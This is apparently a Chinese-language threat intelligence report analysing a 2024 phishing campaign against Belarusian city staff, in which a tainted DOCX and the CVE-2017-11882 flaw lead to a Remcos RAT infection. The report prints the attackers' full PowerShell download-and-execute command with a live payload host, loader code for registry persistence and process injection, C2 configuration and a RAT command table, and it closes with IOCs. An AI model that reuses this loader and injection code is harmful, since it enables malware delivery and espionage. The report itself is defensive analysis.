概述
瑞星威胁情报于2024年2月捕获一起疑似针对白俄罗斯的攻击事件,攻击者向受害者投递带恶意附件的钓鱼邮件进行攻击,恶意附件是个DOCX
文档,DOCX
文档内被注入了恶意链接,恶意链接指向带有公式编辑器漏洞CVE-2017-11882
的RTF
文档,漏洞文档会访问特定网址下载VBS
脚本并运行。VBS
脚本经过混淆处理,解混淆后会获得一段PowerShell
代码,PowerShell
代码会从指定网址上获取被base64
编码后的.NET
程序,解码出.NET
程序后,它会将从指定网址上下载的Remcos
远控软件注入白文件RegAsm.exe
中运行起来。Remcos
远控工具有远程桌面、键盘记录、文件管理、命令执行等多种功能,它是一家名为Breaking Security
的德国公司以远程控制和监视为名出售的合法工具,但经常被黑客滥用。
通过攻击手法等猜测此次事件可能和APT
组织UAC-0050
有关。UAC-0050
是一个至少从2020年就开始进行网络攻击的APT组织,该组织以前主要瞄准乌克兰政府机构,此次攻击事件疑似针对白俄罗斯布雷斯特市政府人员进行攻击。UAC-0050
常利用钓鱼邮件分发Remcos RAT
恶意软件,曾有安全公司报道其采用仿冒乌克兰安全局等策略,向受害者发送带有恶意附件的电子邮件。此外,UAC-0050
还与另一个黑客组织UAC-0096
有关联,曾使用诸如Remote Utilities
等远程管理工具。推测他们的攻击动机可能涉及间谍行动和信息窃取。
ATT&CK矩阵
战术 | 技术 | 具体行为 |
---|---|---|
TA0001 -初始访问 |
T1566 -网络钓鱼 |
攻击者使用钓鱼邮件对受害者进行攻击 |
TA0002 -执行 |
T1203 -利用漏洞执行 |
使用了公式编辑器漏洞CVE-2017-11882 |
TA0002 -执行 |
T1059 -命令和脚本解释器 |
VBS 脚本使用PowerShell 执行恶意命令 |
TA0002 -执行 |
T1204 -用户执行 |
诱使用户点击恶意文档 |
TA0003 -持久化 |
T1547 -启动或登录自动执行 |
.NET 加载器设置注册表实现VBS 脚本自启动 |
TA0004 -权限提升 |
T1055 -进程注入 |
.NET 加载器将Remcos 远控软件注入白文件RegAsm.exe 中运行 |
TA0005 -防御规避 |
T1140 -去混淆或解密文件和信息 |
Remcos 使用了RC4 解密数据 |
TA0005 -防御规避 |
T1211 -利用漏洞规避防御 |
使用了公式编辑器漏洞CVE-2017-11882 |
TA0005 -防御规避 |
T1207 -混淆过的文件和信息 |
VBS 脚本文件带有混淆 |
TA0005 -防御规避 |
T1221 -模板注入 |
附件DOCX 文档内注入恶意链接 |
TA0005 -防御规避 |
T1055 -进程注入 |
.NET 加载器将Remcos 远控软件注入白文件RegAsm.exe 中运行 |
TA0006 -凭证访问 |
T1056 -捕获用户输入 |
Remcos 有键盘记录的远控命令 |
TA0007 -环境发现 |
T1083 -枚举文件和目录 |
Remcos 可以搜索受感染计算机上的文件 |
TA0008 -收集信息 |
T1056 -捕获用户输入 |
Remcos 有一个用户键盘记录的命令 |
TA0008 -收集信息 |
T1113 -屏幕截图 |
Remcos 能对受感染的计算机进行屏幕截图 |
TA0011 -指挥与控制 |
T1105 -文件传输工具 |
Remcos 可以在受害者的计算机上上传和下载文件 |
TA0011 -指挥与控制 |
T1095 -非应用层协议 |
Remcos 使用TLS 协议与C2 服务器通信 |
TA0011 -指挥与控制 |
T1571 -非标准端口 |
Remcos 使用2424 端口与服务器通信 |
事件详情
2024年2月,瑞星安全研究院捕获到一封钓鱼邮件,钓鱼邮件带有一个名为Оплата 29.01.24.docx
的文档附件,DOCX
附件文档内被注入了恶意链接。钓鱼邮件的主题是RE: Подтверждение оплаты счета
(RE: 发票付款确认),钓鱼邮件内容大致上是说发件人公司已经支付了新订单的发票,现在要求收件人参阅随附的付款确认信息。通过邮件的主题RE: Подтверждение оплаты счета
(RE: 发票付款确认),猜测这封邮件是对先前收到的某封邮件的回复。钓鱼邮件中收件人为ksm<ksm@brest.by>
,通过收件人邮箱地址猜测收件人可能来自白俄罗斯布雷斯特市政府,因为brest.by
是该市的官方域名。发件人为Марина Метельская<info@biatr.ooguy.com>
,由于邮件内容中表明发件人属于俄罗斯特殊材料公司Специальные Материалы
的会计,猜测攻击者伪装成俄罗斯特殊材料公司Специальные Материалы
会计向白俄罗斯布雷斯特市政府人员发起钓鱼攻击。如果目标收件人被诱骗点击执行了名为Оплата 29.01.24.docx
的附件,那么攻击者的初步攻击将成功展开。
钓鱼邮件附件Оплата 29.01.24.docx
打开后,内容是多张经过模糊等方式处理过的支付细节图片。
攻击流程
攻击者向受害者投递带恶意附件的钓鱼邮件进行攻击,恶意附件名为Оплата 29.01.24.docx
,是个被注入了恶意链接的DOCX
文档,恶意链接hxxp://139[.]144[.]212[.]135/sbi/microsoftupdationgoingformicrftofficeupgradingtonewmsofficeprotoecoltoreducethesystemwrking.doc?utm_content=CONTENT_VALUE&utm_medium=MEDIUM_VALUE&utm_source=SOURCE_VALUE&utm_campaign=CAMAPGIN_VALUE
指向带有公式编辑器漏洞CVE-2017-11882
的RTF
文档microsoftupdationgoingformicrftofficeupgradingtonewmsofficeprotoecoltoreducethesystemwrking.doc
,漏洞文档会访问hxxp://139[.]144[.]212[.]135/222/xmass.vbs
下载VBS
脚本并运行。VBS
脚本经过混淆处理,解混淆后会获得一段PowerShell
代码,PowerShell
代码会从hxxps://wallpapercave[.]com/uwp/uwp4246971.png
上获取uwp4246971.png
,uwp4246971.png
内部含有使用base64编码的.NET程序。.NET程序从hxxp://139[.]144[.]212[.]135/222/GST.txt
下载GST.txt,将GST.txt经过数据反转和base64解码后获得Remcos
远控软件,将Remcos
远控软件注入白文件RegAsm.exe
中运行起来。
相关负载分析
钓鱼邮件分析
字段 | 内容 |
---|---|
邮件主题 | RE:Подтверждение оплаты счета(回复:发票付款确认) |
邮件大小 | 56.34 KB (57690 bytes) |
邮件MD5 | 3F55803FABD137FDC17BE09423DB9634 |
文件类型 | |
主要功能 | 钓鱼邮件,投递恶意附件 |
钓鱼邮件带有一个名为的Оплата 29.01.24.docx
的文档附件。邮件的主题为RE: Подтверждение оплаты счета
(RE: 发票付款确认),邮件内容大致上是说发件人公司已经支付了新订单的发票,现在要求收件人参阅随附的付款确认信息。钓鱼邮件中收件人为ksm<ksm@brest.by>
,通过收件人邮箱地址猜测收件人可能来自白俄罗斯布雷斯特市政府,发件人为Марина Метельская<info@biatr.ooguy.com>
,邮件内容中表明发件人属于俄罗斯特殊材料公司Специальные Материалы
的会计,猜测攻击者伪装成俄罗斯特殊材料公司Специальные Материалы
会计向白俄罗斯布雷斯特市政府人员发起钓鱼攻击。
钓鱼邮件附件Оплата 29.01.24.docx
分析
字段 | 内容 |
---|---|
文件名 | Оплата 29.01.24.docx |
文件大小 | 30.64 KB (31374 bytes) |
文件MD5 | 10AF82086385C6A2514D222753184317 |
文件类型 | DOCX |
病毒名 | Exploit.ExtLink/OFFICE!1.F607 |
主要功能 | 远程获取带漏洞的恶意文档 |
Оплата 29.01.24.docx
文档中被注入了恶意链接。在该文档中word/_rels/settings.xml.rels位置处含有短链接hxxp://tau[.]id/0vzd8
,实际链接是hxxp://139[.]144[.]212[.]135/sbi/microsoftupdationgoingformicrftofficeupgradingtonewmsofficeprotoecoltoreducethesystemwrking.doc?utm_content=CONTENT_VALUE&utm_medium=MEDIUM_VALUE&utm_source=SOURCE_VALUE&utm_campaign=CAMAPGIN_VALUE
,该链接指向漏洞文档microsoftupdationgoingformicrftofficeupgradingtonewmsofficeprotoecoltoreducethesystemwrking.doc
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="http://tau.id/0vzd8" TargetMode="External"/></Relationships>
漏洞文档microsoftupdationgoingformicrftofficeupgradingtonewmsofficeprotoecoltoreducethesystemwrking.doc
分析
字段 | 内容 |
---|---|
文件名 | microsoftupdationgoingformicrftofficeupgradingtonewmsofficeprotoecoltoreducethesystemwrking.doc |
文件大小 | 54.20 KB (55505 bytes) |
文件MD5 | D1B261948B1D16739D205188792863C0 |
文件类型 | RTF |
主要功能 | 利用公式编辑器漏洞下载并执行恶意vbs脚本 |
microsoftupdationgoingformicrftofficeupgradingtonewmsofficeprotoecoltoreducethesystemwrking.doc
带有公式编辑器漏洞 CVE-2017-11882
,利用漏洞从hxxp://139[.]144[.]212[.]135/222/xmass.vbs
下载xmass.vbs
存于文件夹C:\Users\Admin\AppData\Roaming
后,执行xmass.vbs
。
下载器xmass.vbs
分析
字段 | 内容 |
---|---|
文件名 | xmass.vbs |
文件大小 | 86.22 KB (88286 bytes) |
文件MD5 | F479A35981617BF48357BEC37B0065F2 |
文件类型 | Visual Basic Script |
主要功能 | 获取RemcosRAT加载器,使用加载器将RemcosRAT注入RegAsm.exe |
xmass.vbs
脚本代码带混淆,通过反混淆得到得到一段PowerShell
脚本代码,PowerShell
脚本代码会访问hxxps://wallpapercave[.]com/uwp/uwp4246971.png
获取uwp4246971.png
,接着从uwp4246971.png
中获取字符串<<BASE64_START>>
和<<BASE64_END>>
之间的base64数据串,解码后的base64数据是个.NET
相关的DLL
加载器rump.dll
。rump.dll
的主要作用是将Remcos
远控木马注入到C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
中运行起来。
C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $imageUrl = 'https://wallpapercave.com/uwp/uwp4246971.png';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Aspose.DrawingSpec.PkikAttrCertNB');$method = $type.GetMethod('Run').Invoke($null, [object[]] ('http://139.144.212.135/222/GST.txt' , 'desativado' , '2' , 'CHSE' , '1' , 'C:\ProgramData\', 'LnkName','RegAsm'))
RemcosRAT加载器rump.dll
分析
字段 | 内容 |
---|---|
文件名 | rump.dll |
文件MD5 | 0A0576AD29A833A32E09E018DF0CB445 |
文件大小 | 8.75 MB (9173504 bytes) |
文件类型 | .NET |
病毒名 | Trojan.Injector!1.F60F |
主要功能 | 内存加载Remcos远控木马 |
将xmass.vbs
设置为自启动:将xmass.vbs
复制到目标路径C:\ProgramData\CHSE.vbs
,之后设置注册表将CHSE.vbs
设置为自启动。
if (startupvbs_lnk == "2")
{
if (!File.Exists(caminhovbs + namevbs + ".vbs"))
{
new Process
{
StartInfo = new ProcessStartInfo
{
WindowStyle = ProcessWindowStyle.Hidden,
FileName = "C:Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe",
Arguments = " -WindowStyle Hidden Copy-Item -Path *.vbs -Destination " + caminhovbs + namevbs + ".vbs"
}
}.Start();
}
using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true))
{
registryKey.SetValue("Path", caminhovbs + namevbs + ".vbs");
}
}
访问hxxp://139[.]144[.]212[.]135/222/GST.txt
获取GST.txt
数据,GST.txt
通过数据反转和base64
解码后实际上为 Remcos
远控木马。
string applicationName = "C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\" + netframe + ".exe";
char[] array = new WebClient().DownloadString(____).ToCharArray();
Array.Reverse(array);
byte[] array2 = Convert.FromBase64String(new string(array));
还原后的GST.txt
实际上为 Remcos
远控木马。将Remcos
远控木马注入到白文件C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
中运行起来。
int num6 = PkikAttrCertRDG.VirtualAllocEx(processInformation.ProcessHandle, num3, length, 12288, 64);
if (num6 == 0)
{
throw new Exception();
}
if (!PkikAttrCertRDG.WriteProcessMemory(processInformation.ProcessHandle, num6, array2, bufferSize, ref num))
{
throw new Exception();
}
Remcos远控木马分析
字段 | 内容 |
---|---|
文件名 | Remcos.exe |
原文件名 | GST.txt |
文件大小 | 483.00 KB (494592 bytes) |
文件MD5 | 9567A898F2ECF952F8817787E6EF5701 |
文件类型 | EXE |
病毒名 | Backdoor.Remcos!1.BAC7 |
主要功能 | Remcos远控木马,版本为4.9.3 Pro |
Remcos
是一款商业远控木马软件,具备多种功能,如远程桌面控制、屏幕捕获、剪贴板监视、摄像头和音频监视、命令执行、浏览器数据抓取、密码窃取、代理创建等。还能对文件、进程、服务、窗口、注册表、网络等信息进行收集和管理。此次攻击者所使用的Remcos
远控木马的版本为4.9.3 Pro
,其官方网址为https://breakingsecurity.net/
,官方也提供卸载程序,下载地址为https://breakingsecurity.net/remcos/uninstaller/
。
lea eax, [ebp+var_64]
push offset aRemcosV ; "\n\tRemcos v"
push eax
call sub_441F60
lea eax, [ebp+var_64]
push offset a4_9_3Pro ; "4.9.3 Pro"
push eax
call sub_441F60
lea eax, [ebp+var_64]
push offset asc_46CF18 ; "\n\tゥ BreakingSecurity.net\n\n"
push eax
RemcosRAT
的配置信息被RC4
加密存在Remcos.exe
中的资源文件[RCDATA:SETTINGS:0]
中,数据中第一个字节为密钥长度,之后为密钥以及密文。配置信息内容有C2
服务器信息,通信密钥,截图录音键盘记录等木马功能的配置,互斥体名称,licence
内容等信息,中间以丨
分隔。
top.noforabusers1.xyz:2424:1.|...|RemoteHost|...|1|...|.|...|.|...|.|...|1|...|100000|...|.|...|8|...|r.e.m.c.o.s...e.x.e...|...|.|...|.|...|0|...|Rmc-M4OLK2|...|0|...|8|...|l.o.g.s...d.a.t...|...|.|...|.|...|.|...|10|...|.|...|..|...|5|...|6|...|Screenshots|...|.|...|.|...|.|...|.|...|.|...|.|...|.|...|.|...|.|...|5|...|.|...|MicRecords|...|.|...|0|...|0|...|..|...|.|...|.|...|0|...|.|...|1|...|R.e.m.c.o.s...|...|r.e.m.c.o.s...|...|.|...|.|...|05FD7CD80755FE89E97447CCD24D8330|...|.|...|
Remcos.exe
使用TLS
协议与C2
服务器建立通信,密钥为1
,连接域名top.noforabusers1.xyz
,端口为2424
。除了发送收集的用户名、CPU
信息、操作系统以及键盘记录等信息,它还会等待C&C
服务器发布控制指令,以执行恶意功能。这些控制指令包括文件管理、进程管理、键盘记录、屏幕录制、摄像头和麦克风录制、远程执行Shell
命令、远程执行脚本、上传下载文件、注册表操作、远控软件的安装和卸载等。
控制命令 | 功能描述 |
---|---|
0x01 | 获取当前活动窗口的标题 |
0x02 | 获取本地时间 |
0x03 | 收集所有安装软件的版本、安装的路径、安装的日期等信息 |
0x04 | 从指定的URL上下载文件并执行 |
0x05 | 获取文件并执行 |
0x06 | 获取所运行的进程信息 |
0x07 | 结束指定的进程 |
0x08 | 枚举所有的窗口并获取窗口标题 |
0x09 | 关闭指定的窗口 |
0x10 | 处理jpeg数据 |
0x0A | 显示/隐藏指定的窗口 |
0x0B | 显示/隐藏指定的窗口 |
0x0C | 关闭窗口并枚举窗口 |
0x0D | 执行指定的命令行命令 |
0x11 | IP地址的地理位置信息查询 |
0x12 | 收集键盘信息 |
0x13 | 启动在线键盘记录器 |
0x14 | 停止在线键盘记录器 |
0x15 | 读取指定的文件并将其发送到C&C服务器 |
0x16 | 获取文件 |
0x17 | 删除指定的文件或路径 |
0x18 | 清除Firefox、Chrome等浏览器的登陆信息和cookie信息 |
0x1B | 控制摄像头 |
0x1D | 记录并发送系统周围的声音信息 |
0x1E | 停止记录系统周围声音信息 |
0x20 | 删除指定文件 |
0x21 | 结束木马自身进程 |
0x22 | 卸载自身,同时会移除木马产生的相关文件 |
0x23 | 执行vbs脚本来重启自身 |
0x24 | 更新木马,该命令会从指定的URL下载文件并执行 |
0x25 | 更新木马 |
0x27 | 注销用户,关闭或重启系统 |
0x28 | 获取系统剪切板数据 |
0x29 | 清空系统剪切板 |
0x2A | 清空系统剪切板 |
0x2B | 创建共享内存来共享数据 |
0x2C | 从指定的URL下载数据并将数据共享到创建的共享内存中 |
0x30 | 连接给定的服务器并与之通信 |
0x31 | 在注册表中保存用户名 |
0x32 | 设置代理 |
0x34 | 操作系统服务 |
0x8F | 获取指定文件列表 |
0x92 | 设置系统桌面图片风格 |
0x94 | 修改指定窗口标题 |
0x95 | 获取实时物理内存状态 |
0x98 | 上传文件或下载文件 |
0x9E | 在系统上播放警告声音 |
0xA2 | 在系统上播放警告声音 |
0xA3 | 控制系统播放或者停止音频文件 |
0xAB | 系统上提权 |
0xAC | 显示弹出菜单 |
0xAD | 显示/隐藏指定的窗口 |
总结
APT攻击有着针对性强、组织严密、持续时间长、高隐蔽性和间接攻击的显著特征,针对的目标都是具有重大信息资产,如国家军事、情报、战略部门和影响国计民生的行业如金融、能源等,国内相关政府机构和企业单位务必要引起重视,加强防御措施。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星ESM目前已经可以检出此次攻击事件的相关样本
- 及时修补系统补丁和重要软件的补丁。
沦陷信标(IOC)
-
MD5
3F55803FABD137FDC17BE09423DB9634 10AF82086385C6A2514D222753184317 F479A35981617BF48357BEC37B0065F2 9567A898F2ECF952F8817787E6EF5701 0A0576AD29A833A32E09E018DF0CB445
-
URL
hxxp://tau[.]id/0vzd8 hxxp://139[.]144[.]212[.]135/sbi/microsoftupdationgoingformicrftofficeupgradingtonewmsofficeprotoecoltoreducethesystemwrking.doc?utm_content=CONTENT_VALUE&utm_medium=MEDIUM_VALUE&utm_source=SOURCE_VALUE&utm_campaign=CAMAPGIN_VALUE hxxp://139[.]144[.]212[.]135/222/GST.txt hxxps://wallpapercave[.]com/uwp/uwp4246971.png
-
Domain
top[.]noforabusers1[.]xyz
-
IPV4
139[.]144[.]212[.]135